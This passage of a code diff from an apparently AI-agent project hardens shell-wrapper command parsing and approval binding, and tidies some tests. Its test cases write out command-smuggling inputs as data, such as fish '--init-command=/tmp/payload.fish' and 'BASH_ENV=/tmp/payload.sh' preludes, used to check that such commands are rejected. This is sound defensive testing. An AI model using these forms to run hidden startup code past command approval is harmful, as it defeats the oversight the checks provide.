shellInlineCommand: shellWrapperExecutable ? extractShellWrapperInlineCommand(argv) : null, + shellInlineCommand: shellWrapperExecutable + ? extractBindableShellWrapperInlineCommand(argv) + : null, }; + if (blockedWrapper !== undefined) { + plan.blockedWrapper = blockedWrapper; + } + return plan; } export function resolveExecWrapperTrustPlan( diff --git a/src/infra/fs-safe.test.ts b/src/infra/fs-safe.test.ts index 6d9b10d160e..399dfb3ef2a 100644 --- a/src/infra/fs-safe.test.ts +++ b/src/infra/fs-safe.test.ts @@ -13,6 +13,7 @@ import { FsSafeError, readLocalFileSafely, root as openRoot, + writeExternalFileWithinRoot, } from "./fs-safe.js"; const tempDirs = createTrackedTempDirs(); @@ -128,6 +129,21 @@ describe("fs-safe", () => { expect((err as FsSafeError).message).not.toMatch(/EISDIR/i); }); + it("writes external command output within an allowed root", async () => { + const dir = await tempDirs.make("openclaw-fs-safe-output-"); + + const result = await writeExternalFileWithinRoot({ + rootDir: dir, + path: "artifact.txt", + write: async (tempPath) => { + await fs.writeFile(tempPath, "artifact"); + }, + }); + + expect(result.path).toBe(path.join(dir, "artifact.txt")); + await expect(fs.readFile(path.join(dir, "artifact.txt"), "utf8")).resolves.toBe("artifact"); + }); + it("enforces maxBytes", async () => { const dir = await tempDirs.make("openclaw-fs-safe-"); const file = path.join(dir, "big.bin"); diff --git a/src/infra/fs-safe.ts b/src/infra/fs-safe.ts index ce7eac30f18..d7699cf3bd4 100644 --- a/src/infra/fs-safe.ts +++ b/src/infra/fs-safe.ts @@ -1,14 +1,19 @@ import "./fs-safe-defaults.js"; +import path from "node:path"; +import { writeViaSiblingTempPath } from "@openclaw/fs-safe/advanced"; import { root as fsSafeRoot, type ReadResult } from "@openclaw/fs-safe/root"; export { FsSafeError, type FsSafeErrorCode } from "@openclaw/fs-safe/errors"; export { assertAbsolutePathInput, canonicalPathFromExistingAncestor, + ensureAbsoluteDirectory, findExistingAncestor, resolveAbsolutePathForRead, resolveAbsolutePathForWrite, type AbsolutePathSymlinkPolicy, + type EnsureAbsoluteDirectoryOptions, + type EnsureAbsoluteDirectoryResult, type ResolvedAbsolutePath, type ResolvedWritableAbsolutePath, } from "@openclaw/fs-safe/advanced"; @@ -45,11 +50,32 @@ export { type WalkDirectoryResult, } from "@openclaw/fs-safe/walk"; export { withTimeout } from "@openclaw/fs-safe/advanced"; -export { - writeExternalFileWithinRoot, - type ExternalFileWriteOptions, - type ExternalFileWriteResult, -} from "@openclaw/fs-safe/output"; + +export type ExternalFileWriteOptions = { + rootDir: string; + path: string; + write: (tempPath: string) => Promise; + fallbackFileName?: string; + tempPrefix?: string; +}; + +export type ExternalFileWriteResult = { + path: string; +}; + +export async function writeExternalFileWithinRoot( + options: ExternalFileWriteOptions, +): Promise { + const targetPath = path.resolve(options.rootDir, options.path); + await writeViaSiblingTempPath({ + rootDir: options.rootDir, + targetPath, + writeTemp: options.write, + fallbackFileName: options.fallbackFileName, + tempPrefix: options.tempPrefix, + }); + return { path: targetPath }; +} /** @deprecated Use root(rootDir).read(relativePath, options). */ export async function readFileWithinRoot(params: { diff --git a/src/infra/net/proxy-fetch.test.ts b/src/infra/net/proxy-fetch.test.ts index c91788449cb..87ecb635644 100644 --- a/src/infra/net/proxy-fetch.test.ts +++ b/src/infra/net/proxy-fetch.test.ts @@ -339,6 +339,7 @@ describe("resolveProxyFetchFromEnv", () => { HTTP_PROXY: "http://fallback.test:3128", }), ); + expect(fetchFn).toBeTypeOf("function"); expect(envAgentSpy).toHaveBeenCalledWith({ httpProxy: "http://fallback.test:3128", httpsProxy: "http://fallback.test:3128", @@ -354,6 +355,7 @@ describe("resolveProxyFetchFromEnv", () => { https_proxy: "http://lower.test:1080", }), ); + expect(fetchFn).toBeTypeOf("function"); expect(envAgentSpy).toHaveBeenCalledWith({ httpsProxy: "http://lower.test:1080" }); }); @@ -366,6 +368,7 @@ describe("resolveProxyFetchFromEnv", () => { http_proxy: "http://lower-http.test:1080", }), ); + expect(fetchFn).toBeTypeOf("function"); expect(envAgentSpy).toHaveBeenCalledWith({ httpProxy: "http://lower-http.test:1080", httpsProxy: "http://lower-http.test:1080", @@ -382,6 +385,7 @@ describe("resolveProxyFetchFromEnv", () => { ALL_PROXY: "socks5://all-proxy.test:1080", }), ); + expect(fetchFn).toBeTypeOf("function"); expect(envAgentSpy).toHaveBeenCalledWith({ httpProxy: "socks5://all-proxy.test:1080", httpsProxy: "socks5://all-proxy.test:1080", diff --git a/src/infra/npm-pack-install.test.ts b/src/infra/npm-pack-install.test.ts index 7562615933f..4dd875da5df 100644 --- a/src/infra/npm-pack-install.test.ts +++ b/src/infra/npm-pack-install.test.ts @@ -123,7 +123,11 @@ describe("installFromNpmSpecArchive", () => { const okResult = expectWrappedOkResult(result, { ok: true, target: "done" }); expect(okResult.integrityDrift).toBeUndefined(); expect(okResult.npmResolution.resolvedSpec).toBe("@openclaw/test@1.0.0"); - expect(Date.parse(okResult.npmResolution.resolvedAt)).not.toBeNaN(); + const resolvedAt = okResult.npmResolution.resolvedAt; + if (!resolvedAt) { + throw new Error("expected npm resolution timestamp"); + } + expect(Date.parse(resolvedAt)).not.toBeNaN(); expect(installFromArchive).toHaveBeenCalledWith({ archivePath: "/tmp/openclaw-test.tgz" }); }); diff --git a/src/infra/provider-usage.fetch.claude.test.ts b/src/infra/provider-usage.fetch.claude.test.ts index e9b82c9ad4f..3bde3c4fa90 100644 --- a/src/infra/provider-usage.fetch.claude.test.ts +++ b/src/infra/provider-usage.fetch.claude.test.ts @@ -41,7 +41,7 @@ async function expectMissingScopeWithoutFallback(mockFetch: ScopeFallbackFetch) expectMissingScopeError(result); const calledUrls = mockFetch.mock.calls.map(([input]) => toRequestUrl(input)); expect(calledUrls.length).toBeGreaterThan(0); - expect(calledUrls.every((url) => url.includes("/api/oauth/usage"))).toBe(true); + expect(calledUrls.filter((url) => !url.includes("/api/oauth/usage"))).toEqual([]); } function makeOrgAResponse() { diff --git a/src/infra/push-web.test.ts b/src/infra/push-web.test.ts index b7a9b5ac00d..68056bf6b9b 100644 --- a/src/infra/push-web.test.ts +++ b/src/infra/push-web.test.ts @@ -222,7 +222,7 @@ describe("sending", () => { const results = await broadcastWebPush({ title: "Broadcast" }, tmpDir); expect(results).toHaveLength(2); - expect(results.every((result) => result.ok)).toBe(true); + expect(results.filter((result) => !result.ok)).toEqual([]); expect(vi.mocked(webPush.setVapidDetails)).toHaveBeenCalledTimes(1); expect(vi.mocked(webPush.sendNotification)).toHaveBeenCalledTimes(2); }); diff --git a/src/infra/session-delivery-queue.recovery.test.ts b/src/infra/session-delivery-queue.recovery.test.ts index 49d47d7f229..f9ae94fd74c 100644 --- a/src/infra/session-delivery-queue.recovery.test.ts +++ b/src/infra/session-delivery-queue.recovery.test.ts @@ -138,9 +138,11 @@ describe("session-delivery queue recovery", () => { throw new Error("expected failed session delivery to remain pending"); } expect(failedEntry.retryCount).toBe(1); - expect(typeof failedEntry.lastAttemptAt).toBe("number"); const lastAttemptAt = failedEntry.lastAttemptAt; + if (typeof lastAttemptAt !== "number") { + throw new Error("expected failed delivery attempt timestamp"); + } const notReady = isSessionDeliveryEligibleForRetry(failedEntry, lastAttemptAt + 4_999); expect(notReady).toEqual({ eligible: false, remainingBackoffMs: 1 }); diff --git a/src/infra/shell-env.test.ts b/src/infra/shell-env.test.ts index aa3697d5afb..f1f1fce0866 100644 --- a/src/infra/shell-env.test.ts +++ b/src/infra/shell-env.test.ts @@ -114,7 +114,11 @@ describe("shell env fallback", () => { function expectBinShFallbackExec(exec: ReturnType) { expect(exec).toHaveBeenCalledTimes(1); - expect(exec).toHaveBeenCalledWith("/bin/sh", ["-l", "-c", "env -0"], expect.any(Object)); + expect(exec).toHaveBeenCalledWith( + "/bin/sh", + ["-l", "-c", "env -0"], + expect.objectContaining({ windowsHide: true }), + ); } it("is disabled by default", () => { @@ -425,7 +429,11 @@ describe("shell env fallback", () => { expect(res.ok).toBe(true); expect(exec).toHaveBeenCalledTimes(1); - expect(exec).toHaveBeenCalledWith(trustedShell, ["-l", "-c", "env -0"], expect.any(Object)); + expect(exec).toHaveBeenCalledWith( + trustedShell, + ["-l", "-c", "env -0"], + expect.objectContaining({ windowsHide: true }), + ); }); }); diff --git a/src/infra/shell-env.ts b/src/infra/shell-env.ts index 414904d731a..96b6bf8eb34 100644 --- a/src/infra/shell-env.ts +++ b/src/infra/shell-env.ts @@ -92,6 +92,7 @@ function execLoginShellEnvZero(params: { timeout: params.timeoutMs, maxBuffer: DEFAULT_MAX_BUFFER_BYTES, env: params.env, + windowsHide: true, stdio: ["ignore", "pipe", "pipe"], }); } diff --git a/src/infra/shell-inline-command.test.ts b/src/infra/shell-inline-command.test.ts index 4cea7c67c43..7ffe08c43b9 100644 --- a/src/infra/shell-inline-command.test.ts +++ b/src/infra/shell-inline-command.test.ts @@ -38,6 +38,20 @@ describe("resolveInlineCommandMatch", () => { opts: { allowCombinedC: true }, expected: { command: "echo hi", valueTokenIndex: 1 }, }, + { + name: "keeps post-c no-argument shell flags separate from the command", + argv: ["bash", "-cx", "echo hi"], + flags: POSIX_INLINE_COMMAND_FLAGS, + opts: { allowCombinedC: true }, + expected: { command: "echo hi", valueTokenIndex: 2 }, + }, + { + name: "keeps post-c stdin shell flags separate from the command", + argv: ["bash", "-cs", "echo hi"], + flags: POSIX_INLINE_COMMAND_FLAGS, + opts: { allowCombinedC: true }, + expected: { command: "echo hi", valueTokenIndex: 2 }, + }, { name: "rejects combined -c forms when disabled", argv: ["sh", "-cecho hi"], diff --git a/src/infra/shell-inline-command.ts b/src/infra/shell-inline-command.ts index 13690e41e4e..d08cb76adbc 100644 --- a/src/infra/shell-inline-command.ts +++ b/src/infra/shell-inline-command.ts @@ -12,35 +12,232 @@ export const POWERSHELL_INLINE_COMMAND_FLAGS = new Set([ "-e", ]); +const POSIX_SHELL_OPTIONS_WITH_SEPARATE_VALUES = new Set([ + "--init-file", + "--rcfile", + "-O", + "-o", + "+O", + "+o", +]); + +function isCombinedCommandFlag(token: string): boolean { + return parseCombinedCommandFlag(token) !== null; +} + +function countSeparateValueOptionChars(token: string): number { + let count = 0; + for (let index = 1; index < token.length; index += 1) { + const char = token[index]; + if (char === "o" || char === "O") { + count += 1; + } + } + return count; +} + +function parseCombinedCommandFlag( + token: string, +): { attachedCommand: string | null; separateValueCount: number } | null { + if (token.length < 2 || token[0] !== "-" || token[1] === "-") { + return null; + } + const optionChars = token.slice(1); + const commandFlagIndex = optionChars.indexOf("c"); + if (commandFlagIndex === -1 || optionChars.includes("-")) { + return null; + } + const suffix = optionChars.slice(commandFlagIndex + 1); + if (suffix && !/^[A-Za-z]+$/.test(suffix)) { + return { attachedCommand: suffix, separateValueCount: 0 }; + } + return { + attachedCommand: null, + separateValueCount: countSeparateValueOptionChars(token), + }; +} + +function combinedSeparateValueOptionCount(token: string): number { + if ( + token.length < 2 || + (token[0] !== "-" && token[0] !== "+") || + token[1] === "-" || + token.slice(1).includes("-") + ) { + return 0; + } + return countSeparateValueOptionChars(token); +} + +function consumesSeparateValue(token: string): boolean { + return POSIX_SHELL_OPTIONS_WITH_SEPARATE_VALUES.has(token); +} + +function isPosixInteractiveModeOption(token: string): boolean { + return token === "--interactive" || isPosixShortOption(token, "i"); +} + +function isPosixShortOption(token: string, option: string): boolean { + if (token.length < 2 || token[0] !== "-" || token[1] === "-") { + return false; + } + let hasOption = false; + for (let index = 1; index < token.length; index += 1) { + const char = token[index]; + if (char === "-") { + return false; + } + if (char === option) { + hasOption = true; + } + } + return hasOption; +} + +function advancePosixInlineOptionScan(token: string): number { + const combinedValueCount = combinedSeparateValueOptionCount(token); + if (combinedValueCount > 0) { + return 1 + combinedValueCount; + } + if (consumesSeparateValue(token)) { + return 2; + } + return 1; +} + export function resolveInlineCommandMatch( argv: string[], flags: ReadonlySet, options: { allowCombinedC?: boolean } = {}, ): { command: string | null; valueTokenIndex: number | null } { - for (let i = 1; i < argv.length; i += 1) { + for (let i = 1; i < argv.length; ) { const token = argv[i]?.trim(); if (!token) { + i += 1; continue; } const lower = normalizeLowercaseStringOrEmpty(token); if (lower === "--") { break; } - if (flags.has(lower)) { + const comparableToken = options.allowCombinedC ? token : lower; + if (flags.has(comparableToken)) { const valueTokenIndex = i + 1 < argv.length ? i + 1 : null; const command = argv[i + 1]?.trim(); return { command: command ? command : null, valueTokenIndex }; } - if (options.allowCombinedC && /^-[^-]*c[^-]*$/i.test(token)) { - const commandIndex = lower.indexOf("c"); - const inline = token.slice(commandIndex + 1).trim(); - if (inline) { - return { command: inline, valueTokenIndex: i }; + if (options.allowCombinedC && isCombinedCommandFlag(token)) { + const combined = parseCombinedCommandFlag(token); + if (combined?.attachedCommand != null) { + return { command: combined.attachedCommand.trim() || null, valueTokenIndex: i }; } - const valueTokenIndex = i + 1 < argv.length ? i + 1 : null; - const command = argv[i + 1]?.trim(); + const valueTokenIndex = i + 1 + (combined?.separateValueCount ?? 0); + const command = argv[valueTokenIndex]?.trim(); return { command: command ? command : null, valueTokenIndex }; } + if (options.allowCombinedC && !token.startsWith("-") && !token.startsWith("+")) { + break; + } + i += options.allowCombinedC ? advancePosixInlineOptionScan(token) : 1; } return { command: null, valueTokenIndex: null }; } + +export function hasPosixInteractiveStartupBeforeInlineCommand( + argv: string[], + flags: ReadonlySet, +): boolean { + let sawInteractiveMode = false; + for (let i = 1; i < argv.length; ) { + const token = argv[i]?.trim(); + if (!token) { + i += 1; + continue; + } + if (token === "--") { + return false; + } + if (isPosixInteractiveModeOption(token)) { + sawInteractiveMode = true; + } + if (flags.has(token) || isCombinedCommandFlag(token)) { + return sawInteractiveMode; + } + if (!token.startsWith("-") && !token.startsWith("+")) { + return false; + } + i += advancePosixInlineOptionScan(token); + } + return false; +} + +export function hasPosixLoginStartupBeforeInlineCommand( + argv: string[], + flags: ReadonlySet, +): boolean { + let sawLoginMode = false; + for (let i = 1; i < argv.length; ) { + const token = argv[i]?.trim(); + if (!token) { + i += 1; + continue; + } + if (token === "--") { + return false; + } + if (token === "--login" || isPosixShortOption(token, "l")) { + sawLoginMode = true; + } + if (flags.has(token) || isCombinedCommandFlag(token)) { + return sawLoginMode; + } + if (!token.startsWith("-") && !token.startsWith("+")) { + return false; + } + i += advancePosixInlineOptionScan(token); + } + return false; +} + +export function hasFishInitCommandOption(argv: string[]): boolean { + for (let i = 1; i < argv.length; i += 1) { + const token = argv[i]?.trim(); + if (!token) { + continue; + } + if (token === "--") { + return false; + } + if ( + token === "-C" || + token === "--init-command" || + (token.startsWith("-C") && token !== "-C") || + token.startsWith("--init-command=") + ) { + return true; + } + if (!token.startsWith("-") && !token.startsWith("+")) { + return false; + } + } + return false; +} + +export function hasFishAttachedCommandOption(argv: string[]): boolean { + for (let i = 1; i < argv.length; i += 1) { + const token = argv[i]?.trim(); + if (!token) { + continue; + } + if (token === "--") { + return false; + } + if (token.startsWith("-c") && token !== "-c") { + return true; + } + if (!token.startsWith("-") && !token.startsWith("+")) { + return false; + } + } + return false; +} diff --git a/src/infra/shell-wrapper-resolution.ts b/src/infra/shell-wrapper-resolution.ts index 3979a35d1ff..c9595ae7a59 100644 --- a/src/infra/shell-wrapper-resolution.ts +++ b/src/infra/shell-wrapper-resolution.ts @@ -6,6 +6,10 @@ import { } from "./dispatch-wrapper-resolution.js"; import { normalizeExecutableToken } from "./exec-wrapper-tokens.js"; import { + hasFishAttachedCommandOption, + hasFishInitCommandOption, + hasPosixInteractiveStartupBeforeInlineCommand, + hasPosixLoginStartupBeforeInlineCommand, POSIX_INLINE_COMMAND_FLAGS, POWERSHELL_INLINE_COMMAND_FLAGS, resolveInlineCommandMatch, @@ -37,6 +41,7 @@ const SHELL_WRAPPER_CANONICAL = new Set([ ...WINDOWS_CMD_WRAPPER_NAMES, ...POWERSHELL_WRAPPER_NAMES, ]); +const LOGIN_STARTUP_SHELL_WRAPPER_CANONICAL = new Set(POSIX_SHELL_WRAPPER_NAMES); type ShellWrapperKind = "posix" | "cmd" | "powershell"; @@ -235,6 +240,49 @@ function extractShellWrapperPayload(argv: string[], spec: ShellWrapperSpec): str throw new Error("Unsupported shell wrapper kind"); } +function isLegacyLoginInlineForm(argv: string[]): boolean { + return argv[1]?.trim() === "-lc"; +} + +function isLegacyShLoginInlineForm(argv: string[], baseExecutable: string): boolean { + return baseExecutable === "sh" && isLegacyLoginInlineForm(argv); +} + +function formatShellWrapperArgv(argv: string[]): string { + return argv + .map((arg) => { + if (arg.length === 0) { + return '""'; + } + return /\s|"/.test(arg) ? `"${arg.replace(/"/g, '\\"')}"` : arg; + }) + .join(" "); +} + +function startupWrapperRequiresFullArgv(params: { + argv: string[]; + spec: ShellWrapperSpec; + baseExecutable: string; + includeLegacyLoginInlineForm: boolean; +}): boolean { + if (params.spec.kind !== "posix") { + return false; + } + if (params.baseExecutable === "fish" && hasFishInitCommandOption(params.argv)) { + return true; + } + if ( + LOGIN_STARTUP_SHELL_WRAPPER_CANONICAL.has(params.baseExecutable) && + hasPosixLoginStartupBeforeInlineCommand(params.argv, POSIX_INLINE_COMMAND_FLAGS) + ) { + return ( + params.includeLegacyLoginInlineForm || + !isLegacyShLoginInlineForm(params.argv, params.baseExecutable) + ); + } + return hasPosixInteractiveStartupBeforeInlineCommand(params.argv, POSIX_INLINE_COMMAND_FLAGS); +} + function hasEnvManipulationBeforeShellWrapperInternal( argv: string[], depth: number, @@ -270,12 +318,52 @@ function extractShellWrapperCommandInternal( rawCommand: string | null, depth: number, ): ShellWrapperCommand { - const resolved = resolveShellWrapperSpecAndArgvInternal(argv, depth); + const candidate = resolveShellWrapperCandidate({ argv, depth, state: null }); + if (!candidate) { + return { isWrapper: false, command: null }; + } + + const baseExecutable = normalizeExecutableToken(candidate.token0); + const wrapper = findShellWrapperSpec(baseExecutable); + if (!wrapper) { + return { isWrapper: false, command: null }; + } + const payload = extractShellWrapperPayload(candidate.argv, wrapper); + if (!payload) { + return { isWrapper: false, command: null }; + } + if ( + wrapper.kind === "posix" && + baseExecutable === "fish" && + hasFishAttachedCommandOption(candidate.argv) + ) { + return { isWrapper: true, command: null }; + } + const rawMatchesPayload = rawCommand === payload; + const rawMatchesCanonicalArgv = rawCommand === formatShellWrapperArgv(candidate.argv); + const allowLegacyShLoginPayloadBinding = + isLegacyShLoginInlineForm(candidate.argv, baseExecutable) && + (rawMatchesPayload || rawMatchesCanonicalArgv); + if ( + startupWrapperRequiresFullArgv({ + argv: candidate.argv, + spec: wrapper, + baseExecutable, + includeLegacyLoginInlineForm: !allowLegacyShLoginPayloadBinding, + }) + ) { + return { isWrapper: true, command: null }; + } + + const resolved = resolveShellWrapperSpecAndArgvInternal(candidate.argv, depth); if (!resolved) { return { isWrapper: false, command: null }; } - return { isWrapper: true, command: rawCommand ?? resolved.payload }; + return { + isWrapper: true, + command: rawMatchesCanonicalArgv ? resolved.payload : (rawCommand ?? resolved.payload), + }; } export function resolveShellWrapperTransportArgv(argv: string[]): string[] | null { @@ -283,8 +371,14 @@ export function resolveShellWrapperTransportArgv(argv: string[]): string[] | nul } export function extractShellWrapperInlineCommand(argv: string[]): string | null { - const extracted = extractShellWrapperCommandInternal(argv, null, 0); - return extracted.isWrapper ? extracted.command : null; + return resolveShellWrapperSpecAndArgvInternal(argv, 0)?.payload ?? null; +} + +export function extractBindableShellWrapperInlineCommand( + argv: string[], + rawCommand?: string | null, +): string | null { + return extractShellWrapperCommandInternal(argv, normalizeRawCommand(rawCommand), 0).command; } export function extractShellWrapperCommand( @@ -293,3 +387,8 @@ export function extractShellWrapperCommand( ): ShellWrapperCommand { return extractShellWrapperCommandInternal(argv, normalizeRawCommand(rawCommand), 0); } + +export function isBlockedShellWrapperCommand(argv: string[], rawCommand?: string | null): boolean { + const extracted = extractShellWrapperCommandInternal(argv, normalizeRawCommand(rawCommand), 0); + return extracted.isWrapper && extracted.command === null; +} diff --git a/src/infra/system-events.test.ts b/src/infra/system-events.test.ts index b38f9572ad9..544aaa9927b 100644 --- a/src/infra/system-events.test.ts +++ b/src/infra/system-events.test.ts @@ -258,6 +258,9 @@ describe("system events (session routing)", () => { const result = await drainFormattedEvents(key); expect(result).toContain("Post-compaction context:"); + if (!result) { + throw new Error("expected formatted system events"); + } const lines = result.split("\n"); expect(lines.length).toBeGreaterThan(0); for (const line of lines) { diff --git a/src/infra/system-presence.test.ts b/src/infra/system-presence.test.ts index 02369a18355..4626aeda624 100644 --- a/src/infra/system-presence.test.ts +++ b/src/infra/system-presence.test.ts @@ -109,12 +109,12 @@ describe("system-presence", () => { reason: "connect", }); - expect(listSystemPresence().some((entry) => entry.deviceId === deviceId)).toBe(true); + expect(listSystemPresence().map((entry) => entry.deviceId)).toContain(deviceId); vi.advanceTimersByTime(5 * 60 * 1000 + 1); const entries = listSystemPresence(); - expect(entries.some((entry) => entry.deviceId === deviceId)).toBe(false); - expect(entries.some((entry) => entry.reason === "self")).toBe(true); + expect(entries.map((entry) => entry.deviceId)).not.toContain(deviceId); + expect(entries.map((entry) => entry.reason)).toContain("self"); }); }); diff --git a/src/infra/system-run-command.test.ts b/src/infra/system-run-command.test.ts index a63321f767f..ca43a4d2b54 100644 --- a/src/infra/system-run-command.test.ts +++ b/src/infra/system-run-command.test.ts @@ -34,8 +34,12 @@ describe("system run command helpers", () => { expect(formatExecCommand(["runner "])).toBe('"runner "'); }); - test("extractShellCommandFromArgv extracts sh -lc command", () => { - expect(extractShellCommandFromArgv(["/bin/sh", "-lc", "echo hi"])).toBe("echo hi"); + test("extractShellCommandFromArgv fails closed for rawless sh -lc command", () => { + expect(extractShellCommandFromArgv(["/bin/sh", "-lc", "echo hi"])).toBe(null); + }); + + test("extractShellCommandFromArgv extracts sh -c command", () => { + expect(extractShellCommandFromArgv(["/bin/sh", "-c", "echo hi"])).toBe("echo hi"); }); test("extractShellCommandFromArgv extracts cmd.exe /c command", () => { @@ -43,16 +47,16 @@ describe("system run command helpers", () => { }); test("extractShellCommandFromArgv unwraps /usr/bin/env shell wrappers", () => { - expect(extractShellCommandFromArgv(["/usr/bin/env", "bash", "-lc", "echo hi"])).toBe("echo hi"); + expect(extractShellCommandFromArgv(["/usr/bin/env", "bash", "-c", "echo hi"])).toBe("echo hi"); expect(extractShellCommandFromArgv(["/usr/bin/env", "FOO=bar", "zsh", "-c", "echo hi"])).toBe( "echo hi", ); }); test.each([ - { argv: ["/usr/bin/nice", "/bin/bash", "-lc", "echo hi"], expected: "echo hi" }, + { argv: ["/usr/bin/nice", "/bin/bash", "-c", "echo hi"], expected: "echo hi" }, { - argv: ["/usr/bin/timeout", "--signal=TERM", "5", "zsh", "-lc", "echo hi"], + argv: ["/usr/bin/timeout", "--signal=TERM", "5", "zsh", "-c", "echo hi"], expected: "echo hi", }, { @@ -74,7 +78,7 @@ describe("system run command helpers", () => { { argv: ["pwsh", "-EncodedCommand", "ZQBjAGgAbwA="], expected: "ZQBjAGgAbwA=" }, { argv: ["powershell", "-enc", "ZQBjAGgAbwA="], expected: "ZQBjAGgAbwA=" }, { argv: ["busybox", "sh", "-c", "echo hi"], expected: "echo hi" }, - { argv: ["toybox", "ash", "-lc", "echo hi"], expected: "echo hi" }, + { argv: ["toybox", "ash", "-c", "echo hi"], expected: "echo hi" }, ])("extractShellCommandFromArgv unwraps %j", ({ argv, expected }) => { expect(extractShellCommandFromArgv(argv)).toBe(expected); }); @@ -131,6 +135,26 @@ describe("system run command helpers", () => { expect(res.previewText).toBe("echo hi"); }); + test("validateSystemRunCommandConsistency preserves legacy sh -lc payload binding only for sh", () => { + const sh = expectValidResult( + validateSystemRunCommandConsistency({ + argv: ["/bin/sh", "-lc", "/usr/bin/printf ok"], + rawCommand: "/usr/bin/printf ok", + allowLegacyShellText: true, + }), + ); + expect(sh.previewText).toBe("/usr/bin/printf ok"); + + expectRawCommandMismatch({ + argv: ["/bin/bash", "-lc", "/usr/bin/printf ok"], + rawCommand: "/usr/bin/printf ok", + }); + }); + + test("extractShellCommandFromArgv treats uppercase posix C as a shell option, not command mode", () => { + expect(extractShellCommandFromArgv(["/bin/bash", "-C", "echo hi"])).toBe(null); + }); + test("validateSystemRunCommandConsistency rejects shell-only rawCommand for positional-argv carrier wrappers", () => { expectRawCommandMismatch({ argv: ["/bin/sh", "-lc", '$0 "$1"', "/usr/bin/touch", "/tmp/marker"], @@ -141,7 +165,7 @@ describe("system run command helpers", () => { test("validateSystemRunCommandConsistency accepts rawCommand matching env shell wrapper argv", () => { const res = expectValidResult( validateSystemRunCommandConsistency({ - argv: ["/usr/bin/env", "bash", "-lc", "echo hi"], + argv: ["/usr/bin/env", "bash", "-c", "echo hi"], rawCommand: "echo hi", allowLegacyShellText: true, }), @@ -156,6 +180,33 @@ describe("system run command helpers", () => { }); }); + test.each([ + { argv: ["/bin/bash", "--login", "-c", "/usr/bin/printf ok"] }, + { argv: ["/bin/bash", "-i", "-c", "/usr/bin/printf ok"] }, + { argv: ["/usr/bin/fish", "--init-command=/tmp/payload.fish", "-c", "/usr/bin/printf ok"] }, + ])( + "validateSystemRunCommandConsistency rejects shell-only rawCommand for startup wrapper %j", + ({ argv }) => { + expectRawCommandMismatch({ + argv, + rawCommand: "/usr/bin/printf ok", + }); + }, + ); + + test("validateSystemRunCommandConsistency accepts full rawCommand for startup wrapper argv", () => { + const raw = '/bin/bash --login -c "/usr/bin/printf ok"'; + const res = expectValidResult( + validateSystemRunCommandConsistency({ + argv: ["/bin/bash", "--login", "-c", "/usr/bin/printf ok"], + rawCommand: raw, + }), + ); + expect(res.shellPayload).toBe(null); + expect(res.commandText).toBe(raw); + expect(res.previewText).toBe(null); + }); + test("validateSystemRunCommandConsistency accepts full rawCommand for env assignment prelude", () => { const raw = '/usr/bin/env BASH_ENV=/tmp/payload.sh bash -lc "echo hi"'; const res = expectValidResult( @@ -164,7 +215,7 @@ describe("system run command helpers", () => { rawCommand: raw, }), ); - expect(res.shellPayload).toBe("echo hi"); + expect(res.shellPayload).toBe(null); expect(res.commandText).toBe(raw); expect(res.previewText).toBe(null); }); @@ -241,9 +292,9 @@ describe("system run command helpers", () => { resolveSystemRunCommand({ command: ["/usr/bin/arch", "-arm64", "/bin/sh", "-lc", "echo hi"], }), - expectedShellPayload: process.platform === "darwin" ? "echo hi" : null, + expectedShellPayload: null, expectedCommandText: '/usr/bin/arch -arm64 /bin/sh -lc "echo hi"', - expectedPreviewText: process.platform === "darwin" ? "echo hi" : null, + expectedPreviewText: null, }, { name: "resolveSystemRunCommand unwraps xcrun before deriving shell previews", @@ -251,9 +302,9 @@ describe("system run command helpers", () => { resolveSystemRunCommand({ command: ["/usr/bin/xcrun", "/bin/sh", "-lc", "echo hi"], }), - expectedShellPayload: process.platform === "darwin" ? "echo hi" : null, + expectedShellPayload: null, expectedCommandText: '/usr/bin/xcrun /bin/sh -lc "echo hi"', - expectedPreviewText: process.platform === "darwin" ? "echo hi" : null, + expectedPreviewText: null, }, { name: "resolveSystemRunCommandRequest accepts legacy shell payloads but returns canonical command text", @@ -273,7 +324,7 @@ describe("system run command helpers", () => { resolveSystemRunCommand({ command: ["/bin/sh", "-lc", '$0 "$1"', "/usr/bin/touch", "/tmp/marker"], }), - expectedShellPayload: '$0 "$1"', + expectedShellPayload: null, expectedCommandText: '/bin/sh -lc "$0 \\"$1\\"" /usr/bin/touch /tmp/marker', expectedPreviewText: null, }, @@ -283,7 +334,7 @@ describe("system run command helpers", () => { resolveSystemRunCommand({ command: ["/usr/bin/env", "BASH_ENV=/tmp/payload.sh", "bash", "-lc", "echo hi"], }), - expectedShellPayload: "echo hi", + expectedShellPayload: null, expectedCommandText: '/usr/bin/env BASH_ENV=/tmp/payload.sh bash -lc "echo hi"', expectedPreviewText: null, }, diff --git a/src/infra/system-run-command.ts b/src/infra/system-run-command.ts index f9974f648e9..36b1d7c505b 100644 --- a/src/infra/system-run-command.ts +++ b/src/infra/system-run-command.ts @@ -105,8 +105,15 @@ function hasTrailingPositionalArgvAfterInlineCommand(argv: string[]): boolean { return wrapperArgv.slice(inlineCommandIndex + 1).some((entry) => entry.trim().length > 0); } -function buildSystemRunCommandDisplay(argv: string[]): SystemRunCommandDisplay { - const shellWrapperResolution = extractShellWrapperCommand(argv); +function buildSystemRunCommandDisplay( + argv: string[], + rawCommand: string | null, +): SystemRunCommandDisplay { + const rawlessShellWrapperResolution = extractShellWrapperCommand(argv); + const shellWrapperResolution = + rawlessShellWrapperResolution.command === null && rawCommand !== null + ? extractShellWrapperCommand(argv, rawCommand) + : rawlessShellWrapperResolution; const shellPayload = shellWrapperResolution.command; const shellWrapperPositionalArgv = hasTrailingPositionalArgvAfterInlineCommand(argv); const envManipulationBeforeShellWrapper = @@ -133,7 +140,7 @@ export function validateSystemRunCommandConsistency(params: { allowLegacyShellText?: boolean; }): SystemRunCommandValidation { const raw = normalizeRawCommandText(params.rawCommand); - const display = buildSystemRunCommandDisplay(params.argv); + const display = buildSystemRunCommandDisplay(params.argv, raw); if (raw) { const matchesCanonicalArgv = raw === display.commandText; diff --git a/src/infra/tsdown-config.test.ts b/src/infra/tsdown-config.test.ts index 6ba79533c03..8f5cbbaf14e 100644 --- a/src/infra/tsdown-config.test.ts +++ b/src/infra/tsdown-config.test.ts @@ -67,13 +67,21 @@ function unifiedDistGraph(): TsdownConfigEntry | undefined { ); } +function requireUnifiedDistGraph(): TsdownConfigEntry { + const distGraph = unifiedDistGraph(); + if (!distGraph) { + throw new Error("expected unified dist graph"); + } + return distGraph; +} + function readGatewayRunLoopSource(): string { return readFileSync(new URL("../cli/gateway-cli/run-loop.ts", import.meta.url), "utf8"); } describe("tsdown config", () => { it("keeps core, plugin runtime, plugin-sdk, bundled root plugins, and bundled hooks in one dist graph", () => { - const distGraph = 